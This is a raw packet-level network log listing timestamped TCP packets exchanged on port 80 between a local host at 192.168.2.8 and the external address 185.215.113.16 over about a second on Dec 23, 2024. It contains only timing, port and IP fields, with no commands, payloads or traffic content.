Dec 23, 2024 17:28:43.568717003 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.568759918 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.569863081 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.570702076 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.570869923 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.571243048 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.571871042 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.572196960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.572268009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.572339058 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.573498964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.573636055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.574779034 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.574892998 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.575020075 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.575287104 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.575926065 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.576093912 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.576786995 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.576961040 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.580390930 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.580404043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.580416918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.580440044 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.580452919 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.580482960 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.580568075 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.581429958 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.581614971 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.581778049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.581841946 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.582695007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.582716942 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.582752943 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.583164930 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.583522081 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.583805084 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.584275961 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.584359884 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.584395885 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.585429907 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.585726976 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.585787058 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.586724043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.586815119 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.586893082 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.587830067 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.588236094 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.588356018 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.589018106 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.589473009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.589617968 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.590208054 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.590653896 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.590787888 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.591397047 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.591592073 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.591677904 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.592617989 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.592669010 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.592742920 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.593801022 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.593863964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.593969107 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.595112085 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.595195055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.595334053 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.596584082 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.596781969 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.597242117 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.597709894 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.597815037 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.597995996 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.598613024 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.598869085 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.599266052 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.599858999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.601000071 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.601013899 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.601027966 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.602226973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.603285074 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.603285074 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.652117014 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.731915951 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.732075930 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.732177973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.732217073 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.732289076 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.732431889 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.733330965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.733699083 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.733750105 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.734519958 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.734720945 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.734822989 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.735738993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.736947060 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.736963034 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.737036943 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.737040997 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.737164021 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.738152027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.738501072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.738583088 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.739459038 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.739612103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.739676952 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.740827084 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.741099119 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.741343021 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.742352009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.742855072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.742938042 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.743338108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.743753910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.743814945 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.744298935 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.744400978 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.744446039 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.745405912 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.746263981 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.746388912 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.746548891 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.746563911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.746659994 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.747759104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.748719931 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.748812914 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.748992920 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.749016047 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.749417067 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.750228882 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.750242949 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.750325918 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.751390934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.751770973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.752589941 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.752623081 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.752948999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.753009081 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:43.753889084 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.754123926 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:43.754416943 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.152195930 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.184562922 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.203480005 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.245373964 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.271894932 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.271945000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.272064924 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.304891109 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.305095911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.305238008 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.305355072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.305402994 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.305501938 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.306606054 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.306638956 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.306695938 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.307815075 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.307828903 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.307941914 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.308969975 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.309277058 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.309662104 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.310177088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.310242891 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.310307026 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.311392069 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.311583996 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.311676025 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.312577009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.312663078 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.312923908 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.313775063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.313968897 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.314059973 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.314994097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.315074921 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.315331936 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.316150904 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.316237926 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.317030907 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.317099094 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.317100048 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.317466974 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.318398952 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.318412066 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.318527937 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.319403887 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.319459915 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.319607973 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.320615053 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.320787907 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.321775913 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.321789026 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.321862936 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.322180986 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.323000908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.323406935 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.323903084 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.324242115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.324268103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.325429916 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.325448036 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.325597048 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.325787067 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.326610088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.326719046 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.326847076 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.327800989 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.328006029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.328197002 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.329030037 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.329725027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.329919100 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.330178976 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.330388069 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.330605030 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.331397057 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.331705093 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.331816912 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.332628965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.333075047 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.333810091 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.333976030 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.334363937 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.334996939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.335042953 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.335175991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.335329056 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.336191893 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.336492062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.336589098 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.337449074 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.337558031 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.337675095 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.338614941 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.338777065 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.338907957 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.339775085 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.340162039 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.340230942 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.340980053 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.341036081 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.341144085 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.342194080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.342324018 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.342381954 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.343403101 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.343468904 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.343682051 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.344583035 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.344856977 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.344904900 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.345822096 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.346708059 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.346796036 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.346998930 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.347409964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.347470045 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.348220110 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.348305941 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.348357916 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.349451065 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.349466085 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.349564075 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.350603104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.350713968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.350791931 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.351767063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.351881981 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.351949930 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.353004932 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.353212118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.353372097 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.354181051 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.354923964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.355205059 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.355396986 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.355529070 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.356267929 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.356672049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.356704950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.356774092 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.357952118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.357964993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.358683109 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.359034061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.359200001 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.359270096 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.360205889 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.360342026 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.360410929 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.361387968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.361605883 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.361880064 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.362586975 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.363040924 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.363272905 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.363765955 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.364068985 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.364175081 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.364998102 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.365398884 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.365439892 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.366156101 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.367024899 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.367120028 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.367924929 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.367939949 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.368086100 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.368580103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.369262934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.369328976 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.369774103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.370049000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.370315075 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.370968103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.371253014 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.371335030 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.372184038 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.372580051 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.372704029 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.373378038 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.373624086 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.374581099 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.374744892 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.374821901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.375782967 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.375929117 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.376055956 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.376975060 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.377377033 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.377397060 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.377933979 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.378264904 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.378364086 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.379080057 CET	49716	80	192.168.2.8	185.215.113.16
